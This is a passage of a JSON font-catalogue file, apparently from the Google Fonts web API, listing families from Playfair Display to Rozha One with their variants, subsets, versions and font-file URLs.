    "900": "http://fonts.gstatic.com/s/playfairdisplay/v10/UC3ZEjagJi85gF9qFaBgIKqwMe2wjvZrAR44M0BJZ48.ttf",
    "900italic": "http://fonts.gstatic.com/s/playfairdisplay/v10/n7G4PqJvFP2Kubl0VBLDEC0JfJ4xmm7j1kL6D7mPxrA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Playfair Display SC",
   "category": "serif",
   "variants": [
    "regular",
    "italic",
    "700",
    "700italic",
    "900",
    "900italic"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "cyrillic"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/playfairdisplaysc/v4/G0-tvBxd4eQRdwFKB8dRkcpjYTDWIvcAwAccqeW9uNM.ttf",
    "italic": "http://fonts.gstatic.com/s/playfairdisplaysc/v4/myuYiFR-4NTrUT4w6TKls2klJsJYggW8rlNoTOTuau0.ttf",
    "700": "http://fonts.gstatic.com/s/playfairdisplaysc/v4/5ggqGkvWJU_TtW2W8cEubA-Amcyomnuy4WsCiPxGHjw.ttf",
    "700italic": "http://fonts.gstatic.com/s/playfairdisplaysc/v4/6X0OQrQhEEnPo56RalREX4krgPi80XvBcbTwmz-rgmU.ttf",
    "900": "http://fonts.gstatic.com/s/playfairdisplaysc/v4/5ggqGkvWJU_TtW2W8cEubKXL3C32k275YmX_AcBPZ7w.ttf",
    "900italic": "http://fonts.gstatic.com/s/playfairdisplaysc/v4/6X0OQrQhEEnPo56RalREX8Zag2q3ssKz8uH1RU4a9gs.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Podkova",
   "category": "serif",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/podkova/v8/eylljyGVfB8ZUQjYY3WZRQ.ttf",
    "700": "http://fonts.gstatic.com/s/podkova/v8/SqW4aa8m_KVrOgYSydQ33vesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Poiret One",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "cyrillic"
   ],
   "version": "v4",
   "lastModified": "2014-10-07",
   "files": {
    "regular": "http://fonts.gstatic.com/s/poiretone/v4/dWcYed048E5gHGDIt8i1CPesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Poller One",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/pollerone/v6/dkctmDlTPcZ6boC8662RA_esZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Poly",
   "category": "serif",
   "variants": [
    "regular",
    "italic"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/poly/v7/bcMAuiacS2qkd54BcwW6_Q.ttf",
    "italic": "http://fonts.gstatic.com/s/poly/v7/Zkx-eIlZSjKUrPGYhV5PeA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Pompiere",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/pompiere/v6/o_va2p9CD5JfmFohAkGZIA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Pontano Sans",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/pontanosans/v4/gTHiwyxi6S7iiHpqAoiE3C3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Port Lligat Sans",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/portlligatsans/v5/CUEdhRk7oC7up0p6t0g4P6mASEpx5X0ZpsuJOuvfOGA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Port Lligat Slab",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/portlligatslab/v5/CUEdhRk7oC7up0p6t0g4PxLSPACXvawUYCBEnHsOe30.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Prata",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/prata/v6/3gmx8r842loRRm9iQkCDGg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Preahvihear",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "khmer"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/preahvihear/v8/82tDI-xTc53CxxOzEG4hDaCWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Press Start 2P",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "greek",
    "cyrillic"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/pressstart2p/v4/8Lg6LX8-ntOHUQnvQ0E7o1jfl3W46Sz5gOkEVhcFWF4.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Princess Sofia",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/princesssofia/v4/8g5l8r9BM0t1QsXLTajDe-wjmA7ie-lFcByzHGRhCIg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Prociono",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/prociono/v6/43ZYDHWogdFeNBWTl6ksmw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Prosto One",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "cyrillic"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/prostoone/v4/bsqnAElAqk9kX7eABTRFJPesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Puritan",
   "category": "sans-serif",
   "variants": [
    "regular",
    "italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/puritan/v7/wv_RtgVBSCn-or2MC0n4Kg.ttf",
    "italic": "http://fonts.gstatic.com/s/puritan/v7/BqZX8Tp200LeMv1KlzXgLQ.ttf",
    "700": "http://fonts.gstatic.com/s/puritan/v7/pJS2SdwI0SCiVnO0iQSFT_esZW2xOQ-xsNqO47m55DA.ttf",
    "700italic": "http://fonts.gstatic.com/s/puritan/v7/rFG3XkMJL75nUNZwCEIJqC3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Purple Purse",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/purplepurse/v5/Q5heFUrdmei9axbMITxxxS3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Quando",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/quando/v4/03nDiEZuO2-h3xvtG6UmHg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Quantico",
   "category": "sans-serif",
   "variants": [
    "regular",
    "italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/quantico/v5/pwSnP8Xpaix2rIz99HrSlQ.ttf",
    "italic": "http://fonts.gstatic.com/s/quantico/v5/KQhDd2OsZi6HiITUeFQ2U_esZW2xOQ-xsNqO47m55DA.ttf",
    "700": "http://fonts.gstatic.com/s/quantico/v5/OVZZzjcZ3Hkq2ojVcUtDjaCWcynf_cDxXwCLxiixG1c.ttf",
    "700italic": "http://fonts.gstatic.com/s/quantico/v5/HeCYRcZbdRso3ZUu01ELbQJKKGfqHaYFsRG-T3ceEVo.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Quattrocento",
   "category": "serif",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/quattrocento/v7/WZDISdyil4HsmirlOdBRFC3USBnSvpkopQaUR-2r7iU.ttf",
    "700": "http://fonts.gstatic.com/s/quattrocento/v7/Uvi-cRwyvqFpl9j3oT2mqkD2ttfZwueP-QU272T9-k4.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Quattrocento Sans",
   "category": "sans-serif",
   "variants": [
    "regular",
    "italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/quattrocentosans/v8/efd6FGWWGX5Z3ztwLBrG9eAj_ty82iuwwDTNEYXGiyQ.ttf",
    "italic": "http://fonts.gstatic.com/s/quattrocentosans/v8/8PXYbvM__bjl0rBnKiByg532VBCoA_HLsn85tSWZmdo.ttf",
    "700": "http://fonts.gstatic.com/s/quattrocentosans/v8/tXSgPxDl7Lk8Zr_5qX8FIbqxG25nQNOioCZSK4sU-CA.ttf",
    "700italic": "http://fonts.gstatic.com/s/quattrocentosans/v8/8N1PdXpbG6RtFvTjl-5E7buqAJxizi8Dk_SK5et7kMg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Questrial",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/questrial/v6/MoHHaw_WwNs_hd9ob1zTVw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Quicksand",
   "category": "sans-serif",
   "variants": [
    "300",
    "regular",
    "700"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "300": "http://fonts.gstatic.com/s/quicksand/v5/qhfoJiLu10kFjChCCTvGlC3USBnSvpkopQaUR-2r7iU.ttf",
    "regular": "http://fonts.gstatic.com/s/quicksand/v5/Ngv3fIJjKB7sD-bTUGIFCA.ttf",
    "700": "http://fonts.gstatic.com/s/quicksand/v5/32nyIRHyCu6iqEka_hbKsi3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Quintessential",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/quintessential/v4/mmk6ioesnTrEky_Zb92E5s02lXbtMOtZWfuxKeMZO8Q.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Qwigley",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/qwigley/v6/aDqxws-KubFID85TZHFouw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Racing Sans One",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/racingsansone/v4/1r3DpWaCiT7y3PD4KgkNyDjVlsJB_M_Q_LtZxsoxvlw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Radley",
   "category": "serif",
   "variants": [
    "regular",
    "italic"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v9",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/radley/v9/FgE9di09a-mXGzAIyI6Q9Q.ttf",
    "italic": "http://fonts.gstatic.com/s/radley/v9/Z_JcACuPAOO2f9kzQcGRug.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Rajdhani",
   "category": "sans-serif",
   "variants": [
    "300",
    "regular",
    "500",
    "600",
    "700"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "devanagari"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "300": "http://fonts.gstatic.com/s/rajdhani/v5/9pItuEhQZVGdq8spnHTku6CWcynf_cDxXwCLxiixG1c.ttf",
    "regular": "http://fonts.gstatic.com/s/rajdhani/v5/Wfy5zp4PGFAFS7-Wetehzw.ttf",
    "500": "http://fonts.gstatic.com/s/rajdhani/v5/nd_5ZpVwm710HcLual0fBqCWcynf_cDxXwCLxiixG1c.ttf",
    "600": "http://fonts.gstatic.com/s/rajdhani/v5/5fnmZahByDeTtgxIiqbJSaCWcynf_cDxXwCLxiixG1c.ttf",
    "700": "http://fonts.gstatic.com/s/rajdhani/v5/UBK6d2Hg7X7wYLlF92aXW6CWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Raleway",
   "category": "sans-serif",
   "variants": [
    "100",
    "200",
    "300",
    "regular",
    "500",
    "600",
    "700",
    "800",
    "900"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v9",
   "lastModified": "2014-08-28",
   "files": {
    "100": "http://fonts.gstatic.com/s/raleway/v9/UDfD6oxBaBnmFJwQ7XAFNw.ttf",
    "200": "http://fonts.gstatic.com/s/raleway/v9/LAQwev4hdCtYkOYX4Oc7nPesZW2xOQ-xsNqO47m55DA.ttf",
    "300": "http://fonts.gstatic.com/s/raleway/v9/2VvSZU2kb4DZwFfRM4fLQPesZW2xOQ-xsNqO47m55DA.ttf",
    "regular": "http://fonts.gstatic.com/s/raleway/v9/_dCzxpXzIS3sL-gdJWAP8A.ttf",
    "500": "http://fonts.gstatic.com/s/raleway/v9/348gn6PEmbLDWlHbbV15d_esZW2xOQ-xsNqO47m55DA.ttf",
    "600": "http://fonts.gstatic.com/s/raleway/v9/M7no6oPkwKYJkedjB1wqEvesZW2xOQ-xsNqO47m55DA.ttf",
    "700": "http://fonts.gstatic.com/s/raleway/v9/VGEV9-DrblisWOWLbK-1XPesZW2xOQ-xsNqO47m55DA.ttf",
    "800": "http://fonts.gstatic.com/s/raleway/v9/mMh0JrsYMXcLO69jgJwpUvesZW2xOQ-xsNqO47m55DA.ttf",
    "900": "http://fonts.gstatic.com/s/raleway/v9/ajQQGcDBLcyLpaUfD76UuPesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Raleway Dots",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/ralewaydots/v4/lhLgmWCRcyz-QXo8LCzTfC3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Ramabhadra",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin",
    "telugu"
   ],
   "version": "v5",
   "lastModified": "2014-12-10",
   "files": {
    "regular": "http://fonts.gstatic.com/s/ramabhadra/v5/JyhxLXRVQChLDGADS_c5MPesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Rambla",
   "category": "sans-serif",
   "variants": [
    "regular",
    "italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/rambla/v4/YaTmpvm5gFg_ShJKTQmdzg.ttf",
    "italic": "http://fonts.gstatic.com/s/rambla/v4/mhUgsKmp0qw3uATdDDAuwA.ttf",
    "700": "http://fonts.gstatic.com/s/rambla/v4/C5VZH8BxQKmnBuoC00UPpw.ttf",
    "700italic": "http://fonts.gstatic.com/s/rambla/v4/ziMzUZya6QahrKONSI1TzqCWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Rammetto One",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/rammettoone/v5/mh0uQ1tV8QgSx9v_KyEYPC3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Ranchers",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/ranchers/v4/9ya8CZYhqT66VERfjQ7eLA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Rancho",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/rancho/v6/ekp3-4QykC4--6KaslRgHA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Rationale",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/rationale/v7/7M2eN-di0NGLQse7HzJRfg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Redressed",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/redressed/v6/3aZ5sTBppH3oSm5SabegtA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Reenie Beanie",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/reeniebeanie/v6/ljpKc6CdXusL1cnGUSamX4jjx0o0jr6fNXxPgYh_a8Q.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Revalia",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/revalia/v4/1TKw66fF5_poiL0Ktgo4_A.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Ribeye",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/ribeye/v5/e5w3VE8HnWBln4Ll6lUj3Q.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Ribeye Marrow",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/ribeyemarrow/v6/q7cBSA-4ErAXBCDFPrhlY0cTNmV93fYG7UKgsLQNQWs.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Righteous",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/righteous/v5/0nRRWM_gCGCt2S-BCfN8WQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Risque",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/risque/v4/92RnElGnl8yHP97-KV3Fyg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Roboto",
   "category": "sans-serif",
   "variants": [
    "100",
    "100italic",
    "300",
    "300italic",
    "regular",
    "italic",
    "500",
    "500italic",
    "700",
    "700italic",
    "900",
    "900italic"
   ],
   "subsets": [
    "greek-ext",
    "vietnamese",
    "latin-ext",
    "latin",
    "greek",
    "cyrillic-ext",
    "cyrillic"
   ],
   "version": "v14",
   "lastModified": "2014-12-03",
   "files": {
    "100": "http://fonts.gstatic.com/s/roboto/v14/7MygqTe2zs9YkP0adA9QQQ.ttf",
    "100italic": "http://fonts.gstatic.com/s/roboto/v14/T1xnudodhcgwXCmZQ490TPesZW2xOQ-xsNqO47m55DA.ttf",
    "300": "http://fonts.gstatic.com/s/roboto/v14/dtpHsbgPEm2lVWciJZ0P-A.ttf",
    "300italic": "http://fonts.gstatic.com/s/roboto/v14/iE8HhaRzdhPxC93dOdA056CWcynf_cDxXwCLxiixG1c.ttf",
    "regular": "http://fonts.gstatic.com/s/roboto/v14/W5F8_SL0XFawnjxHGsZjJA.ttf",
    "italic": "http://fonts.gstatic.com/s/roboto/v14/hcKoSgxdnKlbH5dlTwKbow.ttf",
    "500": "http://fonts.gstatic.com/s/roboto/v14/Uxzkqj-MIMWle-XP2pDNAA.ttf",
    "500italic": "http://fonts.gstatic.com/s/roboto/v14/daIfzbEw-lbjMyv4rMUUTqCWcynf_cDxXwCLxiixG1c.ttf",
    "700": "http://fonts.gstatic.com/s/roboto/v14/bdHGHleUa-ndQCOrdpfxfw.ttf",
    "700italic": "http://fonts.gstatic.com/s/roboto/v14/owYYXKukxFDFjr0ZO8NXh6CWcynf_cDxXwCLxiixG1c.ttf",
    "900": "http://fonts.gstatic.com/s/roboto/v14/H1vB34nOKWXqzKotq25pcg.ttf",
    "900italic": "http://fonts.gstatic.com/s/roboto/v14/b9PWBSMHrT2zM5FgUdtu0aCWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Roboto Condensed",
   "category": "sans-serif",
   "variants": [
    "300",
    "300italic",
    "regular",
    "italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "greek-ext",
    "vietnamese",
    "latin-ext",
    "latin",
    "greek",
    "cyrillic-ext",
    "cyrillic"
   ],
   "version": "v12",
   "lastModified": "2014-08-28",
   "files": {
    "300": "http://fonts.gstatic.com/s/robotocondensed/v12/b9QBgL0iMZfDSpmcXcE8nJRhFVcex_hajThhFkHyhYk.ttf",
    "300italic": "http://fonts.gstatic.com/s/robotocondensed/v12/mg0cGfGRUERshzBlvqxeAPYa9bgCHecWXGgisnodcS0.ttf",
    "regular": "http://fonts.gstatic.com/s/robotocondensed/v12/Zd2E9abXLFGSr9G3YK2MsKDbm6fPDOZJsR8PmdG62gY.ttf",
    "italic": "http://fonts.gstatic.com/s/robotocondensed/v12/BP5K8ZAJv9qEbmuFp8RpJY_eiqgTfYGaH0bJiUDZ5GA.ttf",
    "700": "http://fonts.gstatic.com/s/robotocondensed/v12/b9QBgL0iMZfDSpmcXcE8nPOYkGiSOYDq_T7HbIOV1hA.ttf",
    "700italic": "http://fonts.gstatic.com/s/robotocondensed/v12/mg0cGfGRUERshzBlvqxeAE2zk2RGRC3SlyyLLQfjS_8.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Roboto Slab",
   "category": "serif",
   "variants": [
    "100",
    "300",
    "regular",
    "700"
   ],
   "subsets": [
    "greek-ext",
    "vietnamese",
    "latin-ext",
    "latin",
    "greek",
    "cyrillic-ext",
    "cyrillic"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "100": "http://fonts.gstatic.com/s/robotoslab/v6/MEz38VLIFL-t46JUtkIEgIAWxXGWZ3yJw6KhWS7MxOk.ttf",
    "300": "http://fonts.gstatic.com/s/robotoslab/v6/dazS1PrQQuCxC3iOAJFEJS9-WlPSxbfiI49GsXo3q0g.ttf",
    "regular": "http://fonts.gstatic.com/s/robotoslab/v6/3__ulTNA7unv0UtplybPiqCWcynf_cDxXwCLxiixG1c.ttf",
    "700": "http://fonts.gstatic.com/s/robotoslab/v6/dazS1PrQQuCxC3iOAJFEJXe1Pd76Vl7zRpE7NLJQ7XU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Rochester",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/rochester/v6/bnj8tmQBiOkdji_G_yvypg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Rock Salt",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/rocksalt/v6/Zy7JF9h9WbhD9V3SFMQ1UQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Rokkitt",
   "category": "serif",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/rokkitt/v8/GMA7Z_ToF8uSvpZAgnp_VQ.ttf",
    "700": "http://fonts.gstatic.com/s/rokkitt/v8/gxlo-sr3rPmvgSixYog_ofesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Romanesco",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/romanesco/v5/2udIjUrpK_CPzYSxRVzD4Q.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Ropa Sans",
   "category": "sans-serif",
   "variants": [
    "regular",
    "italic"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/ropasans/v5/Gba7ZzVBuhg6nX_AoSwlkQ.ttf",
    "italic": "http://fonts.gstatic.com/s/ropasans/v5/V1zbhZQscNrh63dy5Jk2nqCWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Rosario",
   "category": "sans-serif",
   "variants": [
    "regular",
    "italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v10",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/rosario/v10/bL-cEh8dXtDupB2WccA2LA.ttf",
    "italic": "http://fonts.gstatic.com/s/rosario/v10/pkflNy18HEuVVx4EOjeb_Q.ttf",
    "700": "http://fonts.gstatic.com/s/rosario/v10/nrS6PJvDWN42RP4TFWccd_esZW2xOQ-xsNqO47m55DA.ttf",
    "700italic": "http://fonts.gstatic.com/s/rosario/v10/EOgFX2Va5VGrkhn_eDpIRS3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Rosarivo",
   "category": "serif",
   "variants": [
    "regular",
    "italic"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/rosarivo/v4/EmPiINK0qyqc7KSsNjJamA.ttf",
    "italic": "http://fonts.gstatic.com/s/rosarivo/v4/u3VuWsWQlX1pDqsbz4paNPesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Rouge Script",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/rougescript/v5/AgXDSqZJmy12qS0ixjs6Vy3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Rozha One",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "devanagari"
   ],
   "version": "v2",
   "lastModified": "2014-09-04",
   "files": {
